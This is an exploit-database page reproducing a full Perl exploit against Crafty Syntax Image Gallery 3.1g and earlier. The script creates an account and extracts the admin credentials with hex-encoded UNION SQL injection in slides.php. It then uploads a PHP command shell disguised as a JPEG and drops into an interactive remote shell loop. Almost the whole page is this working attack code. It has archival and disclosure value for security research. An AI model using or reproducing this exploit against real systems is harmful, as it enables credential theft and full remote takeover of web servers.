Lucene search
K

Crafty Syntax Image Gallery <= 3.1g Remote Code Execution Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 15 Views

Crafty Syntax Image Gallery 3.1g Remote Code Execution Exploi

Code

                                                #!/usr/bin/perl
###############################################################################
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
###############################################################################

# =====================================================
# $ crappy_syntax.pl localhost/csig/ 80
#
# :: crafty syntax image gallery &#60;= 3.1g
# :: by undefined1_ @ bash-x.net/undef/
# :: note: this works only on mysql &#62;= 4.0
#
#
# [+] creating user account
# [+]		user: 98fe56123
#			password: 7652L4M3l39q
#			email: [email protected]
# [+] user &#39;98fe56123&#39; with password &#39;7652L4M3l39q&#39; registered
# [+] logged in as 98fe56123
# [+] projectid is 2
# [-] no admin found for this projectid, trying the username &#39;admin&#39;
# [+] admin username: &#39;admin&#39;
# [+] admin password: &#39;1111&#39;
# [+] logged in as &#39;admin&#39;
# [+] getting shell location
# [+] shell @ &#39;userimages/1/18d76bcbc6f2.php&#39;
# [+] have phun?
#
# localhost$ uname
# Linux
# localhost$ whoami
# nobody
# =====================================================

use strict; 
use IO::Socket;

$| = 1;
print &#34;:: crafty syntax image gallery &#60;= 3.1g\n&#34;;
print &#34;:: by undefined1_ @ bash-x.net/undef/\n&#34;;
print &#34;:: note: this works only on mysql &#62;= 4.0\n\n\n&#34;;

my $website = shift || usage();
my $port = shift || usage();
my $user = shift;
my $password = shift;
my $location = shift;



my $path = &#34;/&#34;;
my $server = $website;
if(index($website, &#34;/&#34;) != -1)
{
	$path = substr($website, index($website, &#34;/&#34;));
	$server = substr($website, 0, index($website, &#34;/&#34;));
	if(substr($path, length($path)-1) ne &#34;/&#34;)
	{
		$path .= &#34;/&#34;;
	}
}
if($location eq &#34;&#34;)
{
	if($user eq &#34;&#34; && $password eq &#34;&#34;)
	{
		print &#34;[+] creating user account\n&#34;;
		$user = randstring(8,12);
		$password = randstring(8,12);
		my $email = randstring(8,12).&#34;\@hotmail.com&#34;;
		printf(&#34;[+]\tuser: %s\n&#34;, $user);
		printf(&#34;\tpassword: %s\n&#34;, $password);
		printf(&#34;\temail: %s\n&#34;, $email);
		register($server, $path, $user, $user, $password, $email);
	}

	my $cookies = login($server, $port, $path, $user, $password);
	my $projectid = get_projectid($server, $port, $path, $cookies);
	my @admin = send_payload($server, $port, $path, $cookies, $projectid);

	$cookies = login($server, $port, $path, $admin[0], $admin[1]);
	upload_shell($server, $port, $path, $cookies, $projectid);
	$location = get_shell_location($server,$port,$path,$cookies);
}

check_shell($server, $port, $path, $location);
printf(&#34;[+] have phun?\n\n&#34;);
my $command;
while(1) 
{
	print $server.&#34;\$ &#34;;
	while(&#60;STDIN&#62;) 
	{
		$command = $_;
		chomp($command);
		last;
	}
	do_shell($server,$port,$path,$location,$command);
}


sub send_payload(\$,\$,\$,\$,\$) {
	my $server = shift;
	my $port = shift;
	my $path = shift;
	my $cookies = shift;
	my $projectid = shift;
	my $shellcode;

	$shellcode  = &#34;\x61\x6e\x64\x20\x31\x3d\x30\x20\x75\x6e\x69\x6f\x6e\x20&#34;;
	$shellcode .= &#34;\x61\x6c\x6c\x20\x73\x65\x6c\x65\x63\x74\x20\x31\x2c\x32&#34;;
	$shellcode .= &#34;\x2c\x33\x2c\x34\x2c\x35\x2c\x75\x73\x65\x72\x69\x64\x20&#34;;
	$shellcode .= &#34;\x61\x73\x20\x64\x65\x73\x63\x72\x69\x70\x74\x69\x6f\x6e&#34;;
	$shellcode .= &#34;\x2c\x37\x2c\x38\x2c\x39\x2c\x30\x2c\x31\x2c\x32\x2c\x33&#34;;
	$shellcode .= &#34;\x2c\x34\x2c\x35\x2c\x35\x20\x66\x72\x6f\x6d\x20\x67\x61&#34;;
	$shellcode .= &#34;\x6c\x6c\x65\x72\x79\x5f\x61\x63\x63\x65\x73\x73\x20\x77&#34;;
	$shellcode .= &#34;\x68\x65\x72\x65\x20\x67\x61\x6c\x6c\x65\x72\x79\x69\x64&#34;;
	$shellcode .= &#34;\x3d&#34;;
	$shellcode .= $projectid;
	$shellcode .= &#34;\x20\x61\x6e\x64\x20\x70\x65\x72\x6d\x69\x73\x73\x69\x6f&#34;;
	$shellcode .= &#34;\x6e\x73\x3d\x43\x4f\x4e\x43\x41\x54\x28\x30\x78\x34\x36&#34;;
	$shellcode .= &#34;\x35\x35\x34\x63\x34\x63\x29\x20\x2d\x2d&#34;;

	my $query = &#34;GET &#34;.$path.&#34;slides.php?limitquery_s=&#34;.urlEncode($shellcode).&#34; HTTP/1.1\r\n&#34;;
	$query .= &#34;Host: $server\r\n&#34;;
	$query .= &#34;User-Agent: Mozilla/5.0\r\n&#34;;
	$query .= &#34;Connection: close\r\n&#34;;
	$query .= $cookies;
	$query .= &#34;\r\n&#34;;
	my $data = sendpacket($server, $port, $query);
	if($data !~ /photo_captions\[1\] = &#34;/)
	{
		print &#34;[-] no admin found for this projectid, trying the username &#39;admin&#39;\n&#34;;
		$shellcode = &#34;and 1=0 union all select 1,username as image,3,4,5,password AS description,7,8,9,10,11,12,13,14,15,16 from gallery_users where username=CONCAT(0x61646d696e) --&#34;;
		$query = &#34;GET &#34;.$path.&#34;slides.php?limitquery_s=&#34;.urlEncode($shellcode).&#34; HTTP/1.1\r\n&#34;;
		$query .= &#34;Host: $server\r\n&#34;;
		$query .= &#34;User-Agent: Mozilla/5.0\r\n&#34;;
		$query .= &#34;Connection: close\r\n&#34;;
		$query .= $cookies;
		$query .= &#34;\r\n&#34;;
		my $data = sendpacket($server, $port, $query);
		if($data !~ /photo_captions\[1\] = &#34;/ || $data !~ /photo_urls\[1\] = &#34;/)
		{
			print &#34;[-] exploit failed\n&#34;;
			exit;
		}
		my $index1 = index($data, &#34;photo_captions[1] = \&#34; &#34;) + 22;
		my $index2 = index($data, &#34;\&#34;&#34;, $index1);
		my $passwd = substr($data, $index1, $index2-$index1);

		$index1 = index($data, &#34;photo_urls[1] = \&#34;&#34;) + 17;
		$index2 = index($data, &#34;\&#34;&#34;, $index1);
		$data = substr($data, $index1, $index2-$index1);
		$index1 = rindex($data, &#34;/&#34;) + 1;
		my $username = substr($data, $index1);


		print &#34;[+] admin username: &#39;$username&#39;\n&#34;;
		print &#34;[+] admin password: &#39;$passwd&#39;\n&#34;;

		my @ret;
		push(@ret, $username);
		push(@ret, $passwd);
		return @ret;
	}
	my $index1 = index($data, &#34;photo_captions[1] = \&#34; &#34;) + 22;
	my $index2 = index($data, &#34;\&#34;&#34;, $index1);
	my $uid = substr($data, $index1, $index2-$index1);
	print &#34;[+] admin uid: &#39;$uid&#39;\n&#34;;





	$shellcode = &#34;and 1=0 union all select 1,username as image,3,4,5,password AS description,7,8,9,10,11,12,13,14,15,16 from gallery_users where recno=&#34;.$uid.&#34; --&#34;;
	$query = &#34;GET &#34;.$path.&#34;slides.php?limitquery_s=&#34;.urlEncode($shellcode).&#34; HTTP/1.1\r\n&#34;;
	$query .= &#34;Host: $server\r\n&#34;;
	$query .= &#34;User-Agent: Mozilla/5.0\r\n&#34;;
	$query .= &#34;Connection: close\r\n&#34;;
	$query .= $cookies;
	$query .= &#34;\r\n&#34;;
	my $data = sendpacket($server, $port, $query);
	if($data !~ /photo_captions\[1\] = &#34;/ || $data !~ /photo_urls\[1\] = &#34;/)
	{
		print &#34;[-] exploit failed (mysql &#60; 4 ?)\n&#34;;
		exit;
	}
	$index1 = index($data, &#34;photo_captions[1] = \&#34; &#34;) + 22;
	$index2 = index($data, &#34;\&#34;&#34;, $index1);
	my $passwd = substr($data, $index1, $index2-$index1);

	$index1 = index($data, &#34;photo_urls[1] = \&#34;&#34;) + 17;
	$index2 = index($data, &#34;\&#34;&#34;, $index1);
	$data = substr($data, $index1, $index2-$index1);
	$index1 = rindex($data, &#34;/&#34;) + 1;
	my $username = substr($data, $index1);


	print &#34;[+] admin username: &#39;$username&#39;\n&#34;;
	print &#34;[+] admin password: &#39;$passwd&#39;\n&#34;;

	my @ret;
	push(@ret, $username);
	push(@ret, $passwd);
	return @ret;
}


sub do_shell(\$,\$,\$,\$,\$) {
	my $server = shift;
	my $port = shift;
	my $path = shift;
	my $location = shift;
	my $command = shift;

	my $d = &#34;c=&#34;.$command;
	my $query = &#34;POST &#34;.$path.$location.&#34; HTTP/1.1\r\n&#34;;
	$query .= &#34;Content-Type: application/x-www-form-urlencoded\r\n&#34;;
	$query .= &#34;Host: $server\r\n&#34;;
	$query .= &#34;User-Agent: Mozilla/5.0\r\n&#34;;
	$query .= &#34;Connection: close\r\n&#34;;
	$query .= &#34;Content-Length: &#34;.length($d).&#34;\r\n&#34;;
	$query .= &#34;\r\n&#34;;
	$query .= $d;
	
	my $data = sendpacket($server, $port, $query);
	my $index = index($data, &#34;\r\n\r\n&#34;);
	if($index &#62;= 0)
	{
		print substr($data, $index+4).&#34;\n&#34;;
	}
	else
	{
		print &#34;[-] shell error?\n&#34;;
	}
}

sub check_shell(\$,\$,\$,\$) {
	my $server = shift;
	my $port = shift;
	my $path = shift;
	my $location = shift;

	
	my $query = &#34;GET &#34;.$path.$location.&#34; HTTP/1.1\r\n&#34;;
	$query .= &#34;Host: $server\r\n&#34;;
	$query .= &#34;User-Agent: Mozilla/5.0\r\n&#34;;
	$query .= &#34;Connection: close\r\n&#34;;
	$query .= &#34;\r\n&#34;;
	my $data = sendpacket($server, $port, $query);

	if($data !~ /HTTP\/1.1 200 OK/)
	{
		print &#34;[-] shell not found\n&#34;;
		print &#34;[-] try &#34;.$server.$path.&#34;/userimages/\n&#34;;
		exit;
	}
}

sub get_shell_location(\$,\$,\$,\$) {	
	print &#34;[+] getting shell location\n&#34;;
	my $server = shift;
	my $port = shift;
	my $path = shift;
	my $cookies = shift;
	my $shellcode;

	$shellcode  = &#34;\x61\x6e\x64\x20\x69\x6d\x61\x67\x65\x20\x4c\x49\x4b\x45\x20\x43&#34;;
	$shellcode .= &#34;\x4f\x4e\x43\x41\x54\x28\x30\x78\x32\x35\x32\x65\x37\x30\x36\x38&#34;;
	$shellcode .= &#34;\x37\x30\x29\x20\x6f\x72\x64\x65\x72\x20\x62\x79\x20\x72\x65\x63&#34;;
	$shellcode .= &#34;\x6e\x6f\x20\x64\x65\x73\x63\x20\x6c\x69\x6d\x69\x74\x20\x31\x20&#34;;
	$shellcode .= &#34;\x2d\x2d&#34;;

	
	my $query = &#34;GET &#34;.$path.&#34;slides.php?limitquery_s=&#34;.urlEncode($shellcode).&#34; HTTP/1.1\r\n&#34;;
	$query .= &#34;Host: $server\r\n&#34;;
	$query .= &#34;User-Agent: Mozilla/5.0\r\n&#34;;
	$query .= &#34;Connection: close\r\n&#34;;
	$query .= $cookies;
	$query .= &#34;\r\n&#34;;
	my $data = sendpacket($server, $port, $query);
	if($data =~ /There are no photos in this gallery/)
	{
		print &#34;[-] shell not found\n&#34;;
		print &#34;[-] try &#34;.$server.$path.&#34;/userimages/\n&#34;;
		exit;
	}

	my $index1 = index($data, &#34;photo_urls[1] = \&#34;&#34;) + 17;
	my $index2 = index($data, &#34;\&#34;&#34;, $index1);
	my $location = substr($data, $index1, $index2-$index1);
	print &#34;[+] shell @ &#39;&#34;.$location.&#34;&#39;\n&#34;;
	return $location;
}

sub get_projectid(\$,\$,\$,\$) {
	my $server = shift;
	my $port = shift;
	my $path = shift;
	my $cookies = shift;
	
	my $query = &#34;GET &#34;.$path.&#34;imagemenu.php?html=menu.tpl HTTP/1.1\r\n&#34;;
	$query .= &#34;Host: $server\r\n&#34;;
	$query .= &#34;User-Agent: Mozilla/5.0\r\n&#34;;
	$query .= &#34;Connection: close\r\n&#34;;
	$query .= $cookies;
	$query .= &#34;\r\n&#34;;
	my $data = sendpacket($server, $port, $query);
	my $projectid;
	if($data =~ /\?projectid=([0-9]*)/)
	{
		$projectid = $1;
	}
	else
	{
		print &#34;[-] no projectid found&#34;;
		exit;
	}

	print &#34;[+] projectid is &#39;$projectid&#39;\n&#34;;
	return $projectid;
}

sub upload_shell(\$,\$,\$,\$,\$) {
	my $server = shift;
	my $port = shift;
	my $path = shift;
	my $cookies = shift;
	my $projectid = shift;
	
	my $query = &#34;GET &#34;.$path.&#34;newimage.php?projectid=&#34;.$projectid.&#34; HTTP/1.1\r\n&#34;;
	$query .= &#34;Host: $server\r\n&#34;;
	$query .= &#34;User-Agent: Mozilla/5.0\r\n&#34;;
	$query .= &#34;Connection: close\r\n&#34;;
	$query .= $cookies;
	$query .= &#34;\r\n&#34;;
	my $data = sendpacket($server, $port, $query);
	if($data =~ /Access denied.../)
	{
		print &#34;[-] no admin privileges (mysql &#60; 4.0 ?)\n&#34;;
		exit;
	}

	my $shell = &#34;&#60;? if(isset(\$_POST[&#39;c&#39;])) { system(\$_POST[&#39;c&#39;]); } ?&#62;&#34;;

	my $boundary = &#34;-----------------------------220162907215434&#34;;
	my $post = &#34;--&#34;.$boundary.&#34;\r\n&#34;;
	$post .= &#34;Content-Disposition: form-data; name=\&#34;projectid\&#34;\r\n\r\n&#34;;
	$post .= $projectid.&#34;\r\n&#34;;

	$post .= &#34;--&#34;.$boundary.&#34;\r\n&#34;;
	$post .= &#34;Content-Disposition: form-data; name=\&#34;A_MONTH\&#34;\r\n\r\n&#34;;
	$post .= &#34;03\r\n&#34;;

	$post .= &#34;--&#34;.$boundary.&#34;\r\n&#34;;
	$post .= &#34;Content-Disposition: form-data; name=\&#34;A_DAY\&#34;\r\n\r\n&#34;;
	$post .= &#34;26\r\n&#34;;

	$post .= &#34;--&#34;.$boundary.&#34;\r\n&#34;;
	$post .= &#34;Content-Disposition: form-data; name=\&#34;A_YEAR\&#34;\r\n\r\n&#34;;
	$post .= &#34;2006\r\n&#34;;

	$post .= &#34;--&#34;.$boundary.&#34;\r\n&#34;;
	$post .= &#34;Content-Disposition: form-data; name=\&#34;fullimage\&#34;; filename=\&#34;my_image.jpg\&#34;\r\n&#34;;
	$post .= &#34;Content-Type: text/plain\r\n\r\n&#34;;
	$post .= $shell.&#34;\r\n&#34;;

	$post .= &#34;--&#34;.$boundary.&#34;\r\n&#34;;
	$post .= &#34;Content-Disposition: form-data; name=\&#34;description\&#34;\r\n\r\n&#34;;
	$post .= &#34;another image\r\n&#34;;

	$post .= &#34;--&#34;.$boundary.&#34;\r\n&#34;;
	$post .= &#34;Content-Disposition: form-data; name=\&#34;ext\&#34;\r\n\r\n&#34;;
	$post .= &#34;.php\r\n&#34;;

	$post .= &#34;--&#34;.$boundary.&#34;\r\n&#34;;
	$post .= &#34;Content-Disposition: form-data; name=\&#34;feature__&#34;.$projectid.&#34;\&#34;\r\n\r\n&#34;;
	$post .= &#34;Y\r\n&#34;;

	$post .= &#34;--&#34;.$boundary.&#34;\r\n&#34;;
	$post .= &#34;Content-Disposition: form-data; name=\&#34;addnow\&#34;\r\n\r\n&#34;;
	$post .= &#34;ADD\r\n&#34;;

	$post .= &#34;--&#34;.$boundary.&#34;--\r\n&#34;;

	my $query  = &#34;POST &#34;.$path.&#34;newimage.php?projectid=&#34;.$projectid.&#34; HTTP/1.1\r\n&#34;;
	$query .= &#34;Content-Type: multipart/form-data; boundary=&#34;.$boundary.&#34;\r\n&#34;;
	$query .= &#34;Host: $server\r\n&#34;;
	$query .= &#34;User-Agent: Mozilla/5.0\r\n&#34;;
	$query .= &#34;Connection: close\r\n&#34;;
	$query .= $cookies;
	$query .= &#34;Content-Length: &#34;.length($post).&#34;\r\n&#34;;
	$query .= &#34;\r\n&#34;;
	$query .= $post;

	sendpacket($server, $port, $query);
}

sub login(\$,\$,\$,\$,\$) {
	my $server = shift;
	my $port = shift;
	my $path = shift;
	my $username = shift;
	my $password = shift;

	my $d = &#34;whattodo=login&myusername=&#34;.$username.&#34;&mypassword=&#34;.$password;
	my $query = &#34;POST &#34;.$path.&#34;index.php HTTP/1.1\r\n&#34;;
	$query .= &#34;Content-Type: application/x-www-form-urlencoded\r\n&#34;;
	$query .= &#34;Host: $server\r\n&#34;;
	$query .= &#34;User-Agent: Mozilla/5.0\r\n&#34;;
	$query .= &#34;Connection: close\r\n&#34;;
	$query .= &#34;Content-Length: &#34;.length($d).&#34;\r\n&#34;;
	$query .= &#34;\r\n&#34;;
	$query .= $d;

	my $data = sendpacket($server, $port, $query);
	if($data =~ /&#60;td&#62;&#60;b&#62;Your Name:&#60;\/td&#62;&#60;td&#62;&#60;input type=text name=myusername/ || $data !~ /Set-Cookie: /)
	{
		print &#34;[-] failed to login\n&#34;;
		exit;
	}
	
	my $cookies = &#34;&#34;;	# chocolate cookies
	my $index1 = index($data, &#34;\r\n\r\n&#34;);
	if($index1 &#62;= 0)
	{
		my $index2 = index($data, &#34;Set-Cookie: &#34;) + 12;
		my $index3 = index($data, &#34;\r\n&#34;, $index2);
		$cookies = &#34;Cookie: &#34;.substr($data, $index2, $index3-$index2+2);
	}
	
	print &#34;[+] logged in as &#39;$username&#39;\n&#34;;
	return $cookies;
}

sub register(\$, \$, \$, \$, \$, \$, \$) {
	my $server = shift;
	my $path = shift;
	my $name = shift;
	my $user = shift;
	my $password = shift;
	my $email = shift;

	my $d = &#34;action=register&emailadd=&#34;.$email.&#34;&newname=&#34;.$name.&#34;&newusername=&#34;.$user.&#34;&newpassword=&#34;.$password;
	my $query = &#34;POST &#34;.$path.&#34;lostsheep.php HTTP/1.1\r\n&#34;;
	$query .= &#34;Content-Type: application/x-www-form-urlencoded\r\n&#34;;
	$query .= &#34;Host: $server\r\n&#34;;
	$query .= &#34;User-Agent: Mozilla/5.0\r\n&#34;;
	$query .= &#34;Connection: close\r\n&#34;;
	$query .= &#34;Content-Length: &#34;.length($d).&#34;\r\n&#34;;
	$query .= &#34;\r\n&#34;;
	$query .= $d;

	my $data = sendpacket($server, $port, $query);
	if($data =~ /&#60;li&#62;Sorry the username you entered &#60;b&#62;&#60;\/b&#62; is already taken.. try again/)
	{
		print &#34;[-] failed: username taken\n&#34;;
		exit;
	}
	if($data =~ /you did not enter in a/)
	{
		print &#34;[-] failed\n&#34;;
		exit;
	}
	print &#34;[+] user &#39;$user&#39; with password &#39;$password&#39; registered\n&#34;;
}

sub sendpacket(\$,\$,\$) {
	my $server = shift;
	my $port = shift;
	my $request = shift;

	my $sock = IO::Socket::INET-&#62;new(Proto =&#62; &#34;tcp&#34;, PeerAddr =&#62; $server, PeerPort =&#62; $port) or die &#34;[-] Could not connect to $server:$port $!\n&#34;;
	print $sock &#34;$request&#34;;

	
	my $data = &#34;&#34;;
	my $answer;
	while($answer = &#60;$sock&#62;)
	{
		$data .= $answer;
	}
	
	close($sock);
	return $data;
}

sub randstring(\$,\$) {
	my $min = shift;
	my $max = shift;

	my $length = int( (rand(65535)%($max-$min+1))+$min);
	my $ret = &#34;&#34;;
	for(my $i = 0; $i &#60; $length; $i++)
	{
		my $w = int(rand(3));
		if($w == 0)
		{
			$ret .= chr(97 + int(rand(26)));
		}
		elsif($w == 1)
		{
			$ret .= chr(65 + int(rand(26)));
		}
		else
		{
			$ret .= chr(48 + int(rand(10)));
		}
	}

	return $ret;
}


sub usage() {
	printf &#34;usage: %s &#60;website&#62; &#60;port&#62; [user(optional)] [password(optional)] [shell path without trailing / (optional)]\n&#34;, $0;
	printf &#34;exemple: %s www.site.com/csig/ 80\n&#34;, $0;
	exit;
}


sub urlEncode {
    my ($string) = @_;
    $string =~ s/(\W)/&#34;%&#34; . unpack(&#34;H2&#34;, $1)/ge;
    return $string;
}

# milw0rm.com [2006-04-04]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation